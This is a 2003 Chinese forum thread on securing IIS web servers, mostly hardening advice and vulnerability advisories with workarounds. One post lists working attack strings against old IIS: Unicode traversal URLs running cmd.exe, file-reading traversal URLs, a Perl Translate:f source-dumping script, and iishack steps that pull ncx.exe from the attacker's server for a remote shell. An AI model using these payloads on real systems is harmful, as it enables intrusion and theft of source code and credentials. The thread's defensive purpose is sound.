免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
123下一页
最近访问板块 发新帖
查看: 5083 | 回复: 22
打印 上一主题 下一主题

IIS安全机制 基础 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2003-07-18 10:31 |只看该作者 |倒序浏览
IIS(Internet Information Server)作为当今流行的Web服务器之一,提供了强大的Internet和Intranet服务功能。如何加强IIS的安全机制,建立高安全性能的可靠的Web服务器,已成为网络管理的重要组成部分。

  以Windows NT的安全机制为基础
  1.应用NTFS文件系


  NTFS文件系统可以对文件和目录进行管理,FAT文件系统则只能提供共享级的安全,而Windows NT的安全机制是建立在NTFS文件系统之上的,所以在安装Windows NT时最好使用NTFS文件系统,否则将无法建立NT的安全机制。

  2.共享权限的修改

  在系统默认情况下,每建立一个新的共享,Everyone用户就享有“完全控制”的共享权限,因此,在建立新的共享后应该立即修改Everyone的缺省权限。

  3.为系统管理员账号更名

  域用户管理器虽可限制猜测口令的次数,但对系统管理员账号(adminstrator)却无法限制,这就可能给非法用户攻击管理员账号口令带来机会,通过域用户管理器对管理员账号更名不失为一种好办法。具体设置方法如下:

  选择“开始”选单→“程序”→启动“域用户管理器”→选中“管理员账号(adminstrator)”→选择“用户”选单→“重命名”,对其进行修改。

  4.取消TCP/IP上的NetBIOS绑定

  NT系统管理员可以通过构造目标站NetBIOS名与其IP地址之间的映像,对Internet或Intranet上的其他服务器进行管理,但非法用户也可从中找到可乘之机。如果这种远程管理不是必须的,就应该立即取消(通过网络属性的绑定选项,取消NetBIOS与TCP/IP之间的绑定)。


  设置IIS的安全机制
  1.安装时应注意的安全问题

  1)避免安装在主域控制器上

  安装IIS之后,在安装的计算机上将生成IUSR_Computername匿名账户。该账户被添加到域用户组中,从而把应用于域用户组的访问权限提供给访问Web服务器的每个匿名用户,这不仅给IIS带来潜在危险,而且还可能威胁整个域资源的安全。所以要尽可能避免把IIS服务器安装在域控制器上,尤其是主域控制器上。

  2)避免安装在系统分区上

  把IIS安装在系统分区上,会使系统文件与IIS同样面临非法访问,容易使非法用户侵入系统分区,所以应该避免将IIS服务器安装在系统分区上。

  2.用户的安全性

  1)匿名用户访问权限的控制

  安装IIS后产生的匿名用户IUSR_Computername(密码随机产生),其匿名访问给Web服务器带来潜在的安全性问题,应对其权限加以控制。如无匿名访问需要,则可以取消Web的匿名访问服务。具体方法:

  选择“开始”选单→“程序”→“Microsoft Internet Server(公用) ”→“Internet服务管理器” →启动Microsoft Internet Service Manager→ 双击“WWW”启动WWW服务属性页→取消其匿名访问服务。

  2)控制一般用户访问权限

  可以通过使用数字与字母(包括大小写)结合的口令,使用长口令(一般应在6位以上),经常修改密码,封锁失败的登录尝试以及设定账户的有效期等方法对一般用户账户进行管理。

  3.IIS三种形式认证的安全性

  1)匿名用户访问:允许任何人匿名访问,在这三种中安全性最低。

  2)基本(Basic)认证:用户名和口令以明文方式在网络上传输,安全性能一般。

  3)Windows NT请求/响应方式:浏览器通过加密方式与IIS服务器进行交流,有效地防止了窃听者,是安全性比较高的认证形式(需IE 3.0以上版本支持)。

  4.访问权限控制

  1)设置文件夹和文件的访问权限:安放在NTFS文件系统上的文件夹和文件,一方面要对其权限加以控制,对不同的组和用户设置不同的权限;另外,还可以利用NTFS的审核功能对某些特定组的成员读、写文件等方面进行审核,通过监视“文件访问”、“用户对象的使用”等动作,来有效地发现非法用户进行非法活动的前兆,及时加以预防和制止。具体方法:


  选择“开始”选单→“程序”→启动“域用户管理器” →选择“规则”选项卡下的“审核”选项→设置“审核规则”。

  2)设置WWW目录的访问权限:已经设置成Web目录的文件夹,可以通过操作Web站点属性页实现对WWW目录访问权限的控制,而该目录下的所有文件和子文件夹都将继承这些安全机制。WWW服务除了提供NTFS文件系统提供的权限外,还提供读取权限——允许用户读取或下载WWW目录中的文件;执行权限——允许用户运行WWW目录下的程序和脚本。具体设置方法如下:


  选择“开始”选单→“程序”→“Microsoft Internet Server(公用) ”→“Internet服务管理器” →启动Microsoft Internet Service Manager→ 双击“WWW”启动WWW服务属性页→选择“目录”选项卡→选定需要编辑的WWW目录→选择“编辑属性”中的“目录属性”进行设置。

  5.IP地址的控制

  IIS可以设置允许或拒绝从特定IP发来的服务请求,有选择地允许特定节点的用户访问。可以通过设置来阻止指定IP地址外的网络用户访问你的Web服务器。具体设置方法如下:

  选择“开始”选单→“程序”→“Microsoft Internet Server(公用) ”→“Internet服务管理器” →启动Microsoft Internet Service Manager→双击“WWW”启动WWW服务属性页→启动Web属性页中“高级”选项卡;进行IP地址的控制设置。

  6.端口安全性的实现

  对于IIS服务,无论是WWW站点、Fpt站点,还是NNpt、SMpt服务等都有各自侦听和接收浏览器请求的TCP端口号(Post),一般常用的端口号为:WWW是80,Fpt是21,SMpt是25,你可以通过修改端口号来提高IIS服务器的安全性。如果你修改了端口设置,只有知道端口号的用户才可以访问,不过用户在访问时需要指定新端口号。

  7.IP转发的安全性

  IIS服务可提供IP数据包的转发功能,此时,充当路由器角色的IIS服务器将会把从Internet接口收到的IP数据包转发到内部网中,禁用这一功能将提高IIS服务的安全性。设置方法如下:

  选择“开始”选单→“程序”→“Microsoft Internet Server(公用) ”→“Internet服务管理器” →启动Microsoft Internet Service Manager→ 双击“WWW”启动WWW服务属性页→选择“协议”选项卡→在TCP/IP属性中去掉“路由选择”。

  8.SSL安全机制

  SSL(加密套接字协议层)位于HTpt层和TCP层之间,建立用户与服务器之间的加密通信,确保信息传递的安全性。SSL是工作在公共密钥和私人密钥基础上的。任何用户都可以获得公共密钥来加密数据,但解密数据必须要通过相应的私人密钥。使用SSL安全机制时,首先客户端与服务器建立连接,服务器把它的数字证书与公共密钥一并发送给客户端,客户端随机生成会话密钥,用从服务器得到的公共密钥对会话密钥进行加密,并把会话密钥在网络上传递给服务器,而会话密钥只有在服务器端用私人密钥才能解密,这样,客户端和服务器端就建立了一个唯一的安全通道。具体设置方法如下:

  选择“开始”选单→“程序”→“Microsoft Internet Server(公用) ”→“Internet服务管理器” →启动Microsoft Internet Service Manager→ 双击“WWW”启动WWW服务属性页→选择“目录安全性”选项卡→单击“密钥管理器”按钮→通过密钥管理器生成密钥文件和请求文件→从身份认证权限中申请一个证书→通过密钥管理器在服务器上安装证书→激活Web站点的SSL安全性。

  建立了SSL安全机制后,只有SSL允许的客户才能与SSL允许的Web站点进行通信,并且在使用URL资源定位器时,注意输入的是“htpts://”,而不是“htpt://”。

  SSL安全机制的实现,将增加系统开销,增加服务器CPU的额外负担,从而会在一定程度上降低系统性能。笔者建议在规划网络时,仅考虑为高敏感度的Web目录使用SSL安全机制。另外,SSL客户端需要使用IE 3.0及以上版本才能使用。

论坛徽章:
0
2 [报告]
发表于 2003-07-18 10:44 |只看该作者

IIS安全机制 基础

hohoho
精华呀!对新手应该有大大的帮助!
补充:
9.应用程序映射的问题
idq,ida,htw,printer等漏洞都是依靠这个映射来完成的,虽然安装补丁之后这几个问题都会得到解决,但依据功能最小化的原则,建议删除不必要的应用程序映射。
Internet服务管理器----站点属性----主目录----配置---删除不必要的应用程序映射(一般情况下除.asp和.aspx外全部删除)


另外,从整个web服务器的角度,建议在ip筛选中只开放tcp:80端口。
方法:网上邻居>;属性>;本地连接>;属性>;Internet协议(Tcp/Ip)>;属性>;高级>;选项>;tcp/ip筛选>;属性

论坛徽章:
0
3 [报告]
发表于 2003-07-18 11:07 |只看该作者

IIS安全机制 基础

常见漏洞<zz>;
(1)、Null.htw
  IIS如果运行了Index Server就包含了一个通过Null.htw有关的漏洞,即服务器上不
存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码, global.asa里面包含
了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限
制,进行逻辑分区和ROOT目录的访问。而这个"hit-highlighting"功能在Index Server
中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null
.htw功能可以从用户输入中获得3个变量:
CiWebhitsfile
CiRestriction
CiHiliteType
  你可通过下列方法传递变量来获得如default.asp的源代码:http://www.目标机.c
om/null.htw?CiWebhitsfile=/default.asp%20&%20
CiRestriction=none%20&%20&CiHiliteType=full其中不需要一个合法的.htw文件是因为
虚拟文件已经存储在内存中了。

(2)、MDAC- 执行本地命令漏洞
  这个漏洞出现得比较早,但在全球范围内,可能还有好多IIS WEB服务器存在这个漏
洞,就像在今天,还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞,可以
导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory,默认情
况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,在默认情
况下是SYSTEM用户。我们可以通过以下办法测试本机是否存在这个漏洞:c:\>;nc -nw -
w 2 <目标机>; 80 GET /msadc/msadcs.dll HTTP
  如果你得到下面的信息:application/x_varg
  就很有可能存在此漏洞且没有打上补丁,你可以使用rain forest puppy网站的两个
程序进行测(www.wiretrip.net/rfp)==>;mdac.pl和msadc2.pl。

(3)、ASP Dot Bug
  这个漏洞出现得比较早了,是Lopht小组在1997年发现的缺陷,这个漏洞也是泄露A
SP源代码给攻击者,一般在IIS3.0上存在此漏洞,在请求的URL结尾追加一个或者多个点
导致泄露ASP源代码。 "http://www.目标机.com/sample.asp."

(4)、idc & .ida Bugs
  这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,很奇怪有
些人还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?后缀到URL会导致IIS尝试
允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客
户端。
"http://www.目标机.com/anything.idc或者 anything.idq"

(5)、+.htr Bug
这个漏洞是由NSFOCUS发现的,对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码
的泄露:
"http://www.目标机.com/global.asa+.htr"

(6)、NT Site Server Adsamples 漏洞
  通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者可能获得
一些如数据库中的DSN,UID和PASS的一些信息,如:
"http://www.目标机.com/adsamples/config/site.csc"

(7)、IIS HACK
  有人发现了一个IIS4.0的缓冲溢出漏洞,可以允许用户上载程序,如上载netcat到
目标服务器,并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文
件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插
入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.
exe,ncx.exe,你可以到站点www.technotronic.com中去下载,另外你还需要一台自己
的WEB服务器,也可以是虚拟服务器哦。你现在你自己的WEB服务器上运行WEB服务程序并
把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:c:\>;iish
ack.exe <目标机>; 80 <你的WEB服务器>;/ncx.exe
  然后你就使用netcat来连接你要检测的服务器:c:\>;nc <目标机>; 80
  如果溢出点正确,你就可以看到目标机器的命令行提示,并且是远程管理权限。Co
debrws.asp & Showcode.asp 。Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文
件的程序,但不是默认安装的,这个查看器是在管理员允许查看样例文件作为联系的情
况下安装的。但是,这个查看器并没有很好地限制所访问的文件,远程攻击者可以利用
这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:
1.Codebrws.asp 和 Showcode.asp默认情况下不安装。
2.漏洞仅允许查看文件内容。
3.这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。
4.只允许同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装是个不错的方
案,这样也可能比较好的防止最新的IIS5.0的unicode漏洞).
5,攻击者需要知道请求的文件名。
  例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:"http://www
.目标机.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/
howitworks/codebrws.asp"你就可以查看到codebrws.asp的源代码了。你也可以使用sho
wcode.asp来查看文件:"http://www.目标机.com/msadc/samples/selector/showcode.a
sp?source=/msadc/../../../../../winnt/win.ini"
  当然你也可以查看一些FTP信息来获得其他的目标管理员经常使用的机器,或许其他
的机器的安全性比WEB服务器差,如: "http://xxx.xxx.xxx.xxx/msadc/Samples/SELEC
TOR/showcode.asp?source=/msadc/Samples/../../..
/../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log"

(8)、webhits.dll & .htw
  这个hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上high
lighted(突出)其原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.h
tw文件,Webhits.dll是一个ISAPI应用程序来处理请求,打开文件并返回结果,当用户
控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致可以
查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:

"http://www.目标机.com/nosuchfile.htw"
  如果你从服务器端获得如下信息:format of the QUERY_STRING is invalid这就表
示你存在这个漏洞。
  这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消这个映射就
能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程
序:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
  攻击者可以使用如下的方法来访问系统中文件的内容:
"http://www.目标机.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full"
  就会在有此漏洞系统中win.ini文件的内容。

(9)、ASP Alternate Data Streams(::$DATA)
  $DATA这个漏洞是在1998年中期公布的,$DATA是在NTFS文件系统中存储在文件里面
的main data stream属性,通过建立一个特殊格式的URL,就可能使用IIS在浏览器中访
问这个data stream(数据流),这样做也就显示了文件代码中这些data stream(数据流)
和任何文件所包含的数据代码。   其中这个漏洞需要下面的几个限制,一个是要显示
的这个文件需要保存在NTFS文件分区(幸好为了"安全"好多服务器设置了NTFS格式),第
二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字,W
IN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个IIS3.0和4.0的版本补
丁,
要查看一些.asp文件的内容,你可以请求如下的URL:
   "http://www.目标机.com/default.asp::$DATA你就得到了源代码。你要了解下NT
FS文件系统中的数据流问题,你或许可以看看这文章:http://focus.silversand.net/
newsite/skill/ntfs.txt"

(10)、ISM.DLL 缓冲截断漏洞
  这个漏洞存在于IIS4.0和5.0中,允许攻击者查看任意文件内容和源代码。通过在文
件 名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,会使
IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL ISAPI应用程序
,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL程序把传递过来的文件打
开和执行,但在ISM.DLL 截断信息之前,缓冲区发送一个断开的 .Htr 并会延迟一段时间
来返回一些你要打开的文件内容。可是要注意,除非 WEB 服务停止并重启过,否则这攻
击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它
只能在 ISM.DLL 第一次装入内存时工作。
"http://www.目标机.com/global.asa%20%20...<=230)global.asa.htr"

(11)、存在的一些暴力破解威胁.htr程序
  IIS4.0中包含一个严重漏洞就是允许远程用户攻击WEB服务器上的用户帐号,就是你
的WEB服务器是通过NAT来转换地址的,还可以被攻击。每个IIS4.0安装的时候建立一个
虚拟目录/iisadmpwd,这个目录包含多个.htr文件,匿名用户允许访问这些文件,这些
文件刚好没有规定只限制在loopback addr(127.0.0.1),请求这些文件就跳出对话框让
你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下:
c:\winnt\system32\inetsrv\iisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr
这样,攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务,请立即删除这
个目录。

(12)、Translate:f Bug
  这个漏洞发布于2000年8月15号(www.securityfocus.com/bid/1578),其问题是存在
OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中,当有人请求一个ASP/
ASA后者其他任意脚本的时候在HTTP GET加上Translate:f后缀,并在请求文件后面加/就
会显示文件代码,当然在没有打WIN2K SP1补丁为前提。这个是W2K的漏洞,但由于FP20
00也安装在IIS4.0上,因此在IIS4.0上也有这个漏洞,你可而已使用下面的脚本来利用
这个漏洞:
#############################
use IO::Socket; #
my ($port, $sock,$server); #
$size=0; #
#############################
#
$server="$ARGV[0]";
$s="$server";
$port="80";
$cm="$ARGV[1]";
&
sub connect {
if ($#ARGV < 1) {
howto();
exit;
}
$ver="GET /$cm%5C HTTP/1.0
Host: $server
Accept: */*
Translate: f
\n\n";
my($iaddr,$paddr,$proto);
$iaddr = inet_aton($server) || die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) || die "Error: $!";
$proto = getprotobyname('tcp') || die "Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error:
$!";
connect(SOCK, $paddr) || die "Error: $!";
send(SOCK, $ver, 0) || die "Can't to send packet: $!";
open(OUT, ">;$server.txt");
print "Dumping $cm to $server.txt \n";
while() {
print OUT ;
}
sub howto {
print "type as follows: Trans.pl "www.目标机.com codetoview.asp \n\n";
}
close OUT;
$n=0;
$type=2;
close(SOCK);
exit(1);
}
  你可以使用下面的方法来获得源代码:
Trasn.pl "www.目标机.com default.asp
(13)、IIS存在的Unicode解析错误漏洞
  NSFOCUS安全小组发现微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个
安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名
包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误
的打开或者执行某些web根目录以外的文件。   你可以使用下面的方法利用这个漏洞

(1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能列出当前
目录的内容:
"http://www.目标机.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"
(2) 利用这个漏洞查看系统文件内容也是可能的:
"http://www.目标机.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini"
这个漏洞是针对中文操作平台,你也可以使用"%c0%af"或者"%c1%9c"来测试英文版本,
原因就是编码不同。

论坛徽章:
0
4 [报告]
发表于 2003-07-18 11:08 |只看该作者

IIS安全机制 基础

安全维护IIS高级技巧  

一:安装过程中的IIS 与 asp安全防护。(这里只考虑是web服务器,而不是本地机子上的web开发平台)

首先,开始重装IIS。

这次安装的策略就是安全,够用。去掉一些多余的东西。

一:FTP不要安装了,功能不好,还容易出错,并且漏洞很大。Ftp缺省传输密码的过程可是明文传送,很容易被人截获。(可以考虑用第三方工具。)

二:一切实例、文档也不要安装了。这是在web服务器上,最好不要这些例子,事实证明可以从这些例子站点突破IIS的防线的。

三:安装时选择站点目录,建议不要用缺省目录c:\inetpub,最好安装道不是系统盘的盘上。如:d:\IISWEB,可以考虑自建目录。这样即使IIS被突破,也能尽可能的保护好系统文件了。

四:不要安装html的远程管理。html的远程管理在winnt 4.0还能用的上,但漏洞比较大,而且比较危险,端口号虽然是随机的,但很容易被人扫描道,从而留下隐患。事实上,我们可以通过另一台服务器上的IIS来管理他。这样比较安全。

五:多余的服务也不要安了,如NNtp,如果不做新闻组。就不要安了。smtp,如果有更好的邮件服务,也不要装他了。

六:索引服务器。这个索引真的是很有用,但我没有用过他。否则,你可以用他建立个整个站点的文件搜索的,但现在好像大多数的asp网页都是一个网页,动态从数据库里查询。所以根本用不上索引服务器了,(不是索引不好,而是本身上面的那种asp文件结构就不适合)所以可以不要安装。


二:有目的进行安全配置。

1:开发前的工作。

首先,启动IIS后,看有没有\iissamples,\IIShelp,\msadc\,这些目录,如果有,他们大多是用来作为例子,帮助安装的,删掉他们,再把脚本库也删掉,直到web目录只留下干静的新建的虚拟目录即可,如果有管理的web站点,也删掉他。没有他,我们一样可以工作的更好。 还有看看有没有printer的文件夹,他们大多数都是些通过web来访问打印机的。MS就是怪。为了表示我的功力强大,允许通过web来远程打印。相信没有哪个网络公司是通过web网来打印的把。也不可能让网友来使用你的计算机吧。那好,去掉他。

然后。开始详细配置各个web虚拟目录的安全。大概的策略是这样的。

分类每个文件夹管理,如,可以吧扩展名是相同的分配到同一目录,如*.asp的,和*.inc就尽量分开。如果是*.asp的,则开放虚拟目录权限,但将实际目录权限授予administrator,system(完全控制)everyone (rc)即可。这样可以通过web允许读取。但实际上你可以加大安全力度,如果你认位他是比较保密的。如果是*.inc的,则开放目录权限,但不允许通过直接访问。这里又一个技巧了。比如。你可以允许实际目录被everyone访问,但在IIS中,你把改目录浏览项去掉,则改包含文件只能被源文件读取,但不允许被直接读许。这样,他就不可能下在倒一些你的单机数据库了。而且你的*.inc文件也不会被浏览器直接阅读。

刚才我的老弟“梦”还在问我,有没有办法可以让别人看不到你的连接字符串,你可以试试下面的方法!

1 首先建立连接字符串,并建立一个单独的文件*.inc(要是*.inc的,不要*.asp的)你把你的连接字符串用变量复制进来。

如:connstr=""rovider=SQLOLEDB.1assword=passw;...................."

2 然后建立一个文件夹include,放在根目录里。

3 然后每一个文件用下面的办法打开连接。

如:

set conn=server.createobject("adodb.connection"

conn.open connstr

4 最后在iis里把include 文件夹用拒绝读的方法保护起来。你会发现,你的连接可以照常打开,但是如果对方看到你的源代码,他也看不到连接字符串,即使他看到了包含文件路径及名称。他也无法下载,或是用ie 打开。所以,可以保护你的连接字符串了。

这里用的方法是Nt 权限与 IIS权限的共同审核。我们知道,为了让用户从web上访问道服务器的文件,每个安装了IIS后的服务器都会有两个内置账号。I_USExxxxxx,I_WAMxxxxxx(x为你的机器名),这样你就可以有的放矢的防治某些从你的web网络查看你的必要信息的用户了。

当然,还有一些比较好的文件策略你可以参考一下:

如:CGI (.exe, .dll, .cmd, .pl)Everyone (X)不允许读去,运行。Administrators(完全控制)System(完全控制)

所以,你在编写asp应用程序时,尽量归类好你的目录。方便用IIS和NT进行管理。

如。采用下列结构比较好

d:\web\asptest\static (放置*.htm)

d:\web\asptest\script (放置*.asp)

d:\web\asptest\include(放置*.inc)

d:\web\asptest\images (放置*.gif,*.jpg)

这样你就可以用上面的方法来达到安全目的了。

2:启用日志监测。

这是亡羊补牢的好工具,至少你可以用它来监测谁通过webl干了什么,当然,你还要保护该日志的权限只能是被系统管理员。和超级管理所控制。这样避免某些人的干了某些事而不留痕迹。为了留好现场而又不影响IIS的响应速度。还是建议选则w3c扩展日志格式比较好。(以前别人介绍我用ODBC,看来比较方便,但实际上不是这样。他受到数据库的影响很大。而且速度较慢了)。

可以考虑纪录下一下现场数据:

客户 IP 地址

用户名

方法

URI 资源

HTTP 状态

Win32 状态

用户代理

服务器 IP 地址

服务器端口

如果在一台计算机上有多个 Web 服务器,则后两种属性非常有用。Win32 状态属性对于调试非常有用。

检查日志时,密切注意错误 5,这意味着访问被拒绝。在命令行上输入 net helpmsg err,可找出其它Win32 错误的含义,其中 err 是要查找的错误号。

3:配置合适的脚本映射。

相信我,大部分的asp源代码泄漏都是通过不安全,或是有错误的脚本映射导致的。而他们中的大多数可能你用不到。如下面我说的。

1 *.htr这是一个比较厉害的文件,他是web应用程序的一种。同hta一样。这是些比较厉害的功能,但介绍很少。hta就是一种html 格式的 application,功能比较强大。切安全性比htm要低。所以可能会导致功能强大的操作。比如htr就可以通过web来重社密码。相信我们大多数的asp程序员和NT网管不需要这个把。那好,把他的对应选项删掉好了。否则,任何人都可以通过你的web来进行非法操作,甚至格式化掉你的硬盘。

2 *.hta 这个我已经说过了,他是把双刃剑,用的好,你可以通过他来访问nt的很多操作,在asp上开nt用户也是可能的。但大多数的工作可以不通过web来事最好的。而*.hta在web很少用到,虽然他在iis4.0就推出了。比如,你把一个文件保存成*.hta,你就可以用ie打开。看看,很奇怪的界面吧。听ms的工程师说.net中吧*.hta换了个说法,功能加大了。看来网管的工作又该加大了。如果你想安全一些。删掉吧。

3 *.idc 这个东东是个比较老的数据库连接方法了,现在大多数都直接用asp文件。不用idc了,所以删掉他。

4 *.printer这个是打印机文件。去掉他好了

5 *.htw , *.ida *.idq这些都是索引文件,也可以去掉了。
四:好的安全习惯。

账号策略,密码策略

这些其实都在我的前两片贴子贴过了。,等等,感兴趣的可以看看相关文章。

另外。还要注意要多上ms的站点,看看安全公告。(MS的访问量就是这样长期排行世界前三的!)

还要准备好一些第三方的工具。如扫描工具,模拟攻击工具。多上安全站点看看。

如果你可以交道一些比较好的黑道朋友(我另一个师兄家家的方法),也是比较好的。(黑道是黑客走的路!)

4:防止asp代码被泄漏。

这里只能说是防止,我只有从已经发现的看asp方法的漏洞入手,现在对于iis4.0则几乎有20种以上的办法,但安装了sp6a后有两种,可以到微软的网站安全公告下载2000-8月后的补丁可以解决。但如果你用了本文上面的方法。可以装到sp6就可以了。

如果是win2000 server,则有两种方法。安了sp1后,还有一种,所以你必须倒微软安全公告栏去下载相应的hotfix。可以解决。

5:防止恶意的破坏。

这个功能能对付一些被你监测到的不良分子,你可以在日志中、或第三方工具看到到底是谁在不停的探测、破坏你的IIS,那么把他列为不收欢迎的黑名单,这样,你再配置站点时可以对其IP,或域进行拒绝访问,不过这一过程是要付出代价的,你的IIS要担任反向查找的功能。可能会比较耗时。

6: 安全的话题。

以上还只是IIS与asp的。如果你要用道数据库。用道远程管理,用道远程连接数据库。那还要分别注意。正如我说的。没有绝对的安全。而这也才是安全的需要。关于安全的话题,没有结束,只有待续。。。。。

论坛徽章:
0
5 [报告]
发表于 2003-07-18 11:19 |只看该作者

IIS安全机制 基础

我也来帮帮司MM吧,免的她把自己的身体给搞垮了

Microsoft IIS ssinc.dll缓冲区溢出漏洞

受影响的软件及系统:
==================

- Microsoft IIS 4.0
- Microsoft IIS 5.0

漏洞分析:
==========

微软IIS支持SSI(Server Side Include)功能。ssinc.dll就是一个SSI解释器。默认情况
下,扩展名 .stm、.shtm 和 .shtml 被映射到解释程序(Ssinc.dll)。

SSI支持"#include"指令,通常的使用方式是:

<!--#include file="文件名"-->;

ssinc.dll在处理"#include"指令时,会将shtml文件所在的目录名加在包含文件的前面形
成一个新的字符串。

例如:

创建一个"test.shtml"文件,将其保存在"wwwroot/abcd/"目录下。"test.shtml"的内容如下:

<!--#include file="ABCD"-->;

那么生成的新字符串就是"/abcd/ABCD"。ssinc.dll会将这个字符串拷贝到一个0x804(2052)
字节长的缓冲区去。

ssinc.dll在从test.shtml中获取包含文件名时,检查了包含文件名的长度,如果发现超
过0x801字节,就截断为0x801字节,并在末尾添加'\0'。这样,包含文件的名字最长为0x802
(2550)字节,包括最后的'\0'。

但是,它没有检查在增加了当前目录名后的新字符串的长度。因此,如果将包含文件名设
置成一个超过0x801字节的字符串,并将"test.shtml"放到一个长度为9字节的目录中,那
么新字符串的总长度就会是

9 + 2(两个'/'字符) + 0x801 = 0x80C (2060)字节

这将触发一个缓冲区溢出,完全覆盖堆栈中保存的EIP(末尾的'\0'将会覆盖第一个形参)。

这时ssinc.dll运行在SYSTEM环境下,如果攻击者小心地构造溢出数据,就可能改变程序
流程,并以SYSTEM权限执行任意代码。

攻击者要进行攻击需要有两个条件:

1. 攻击者需要有权限在web目录下创建文件或目录。
2. 攻击者需要能够通过web服务访问创建的文件。


漏洞测试:
==========

1. 创建一个文件名为"test.shtml",文件内容包括如下内容:

   <!--#include file="AAAA[...]AA"-->;

   'A'的数目应该大于2049个。

2. 在web根目录下创建一个目录,例如"a"。
   将"test.shtml"拷贝到"a"目录下

3. 通过web浏览器请求"test.shtml":
   http://webhost/a/test.shtml

4. IIS会返回一个空白页面,这说明溢出已经发生了。这时实际上只是用末尾的'\0'覆盖
   了EBP的最后一个字节。
  
   作为对照,如果将包含文件的名字设置为一个较短的名字,例如'AA'。
   发送请求时,IIS会返回处理 SSI 文件 '/a/AA' 错误的信息。


临时解决方法:
===========

1、禁止不可信用户对web目录拥有写权限
2、如果您不需要SSI功能,删除.shtml、.shtm、.stm映射

论坛徽章:
0
6 [报告]
发表于 2003-07-18 11:28 |只看该作者

IIS安全机制 基础

Microsoft IIS 5.0 系统文件列表权限提升漏洞

受影响系统:

Microsoft IIS 5.0
  - Microsoft Windows 2000

描述:
Microsoft IIS 5.0 存在一个安全漏洞,可能导致攻击者提升权限。IIS 5.0有一个文件
列表,所有在这个列表中的程序(一些DLL文件)都会在IIS进程空间中运行。然而,缺省
这个列表中只包含这些文件的文件名,而不是其绝对路径名。因此,任何可执行文件,如
果其文件名与文件名列表中的文件匹配,则当它执行时就会在IIS 进程空间中运行,这使
得它以父进程的权限被执行,通常是SYSTEM权限。

攻击者要进行这种攻击,需要在可执行虚拟目录下上传一个可执行文件,并远程通过web
接口执行它.

临时解决方法:

1、删除不必要的可执行虚拟目录
2、禁止普通用户(特别是guest组用户)对可执行虚拟目录有写权限

论坛徽章:
0
7 [报告]
发表于 2003-07-18 11:31 |只看该作者

IIS安全机制 基础

呵呵,还有FSO

论坛徽章:
0
8 [报告]
发表于 2003-07-18 11:47 |只看该作者

IIS安全机制 基础

谢谢大家~  555555~~~             :emn1:        

论坛徽章:
0
9 [报告]
发表于 2003-07-18 14:31 |只看该作者

IIS安全机制 基础

Win2k都出service pack 4了,快赶上NT 4.0的6个大补丁了

论坛徽章:
0
10 [报告]
发表于 2003-07-19 08:51 |只看该作者

IIS安全机制 基础

打补丁都快打晕了,上次打SP3时,20台服务器打了我一个上午,搞死我了,那位有管理多台WIN2000服务器的高招,指点一下。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
